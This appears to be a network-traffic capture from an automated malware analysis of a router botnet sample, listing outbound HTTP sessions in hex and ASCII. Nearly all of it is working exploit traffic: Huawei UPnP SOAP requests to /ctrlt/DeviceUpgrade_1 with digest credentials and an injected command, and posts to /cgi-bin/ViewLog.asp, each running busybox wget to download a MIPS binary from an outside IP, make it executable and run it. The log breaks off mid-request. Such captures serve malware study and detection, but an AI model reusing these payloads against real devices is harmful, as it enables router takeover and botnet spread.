                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:30.584912062 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:45.944541931 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                520192.168.2.153534494.122.11.1048080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:15.775706053 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                521192.168.2.154499831.128.204.2268080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:15.787275076 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:16.025268078 CET523INHTTP/1.1 500 Internal Server Error
                                                Content-Type: text/html; charset=utf-8
                                                X-Frame-Options: SAMEORIGIN
                                                Content-Security-Policy: frame-ancestors 'none'
                                                Strict-Transport-Security: max-age=3600
                                                Content-Length: 130
                                                Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly
                                                Connection: close
                                                Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e
                                                Data Ascii: <html><head><title>500 Internal Server Error</title></head><body><center><h1>500 Internal Server Error</h1></center></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                522192.168.2.154127631.136.7.1098080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:16.207833052 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:16.793365955 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:17.945354939 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:20.345237017 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:24.953185081 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:34.168884993 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:53.372270107 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                523192.168.2.1557756156.77.135.22537215
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:16.652595043 CET886OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                524192.168.2.155717485.69.30.1998080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:17.206420898 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:17.785456896 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:18.905379057 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:21.113245964 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:25.721033096 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:34.680809021 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
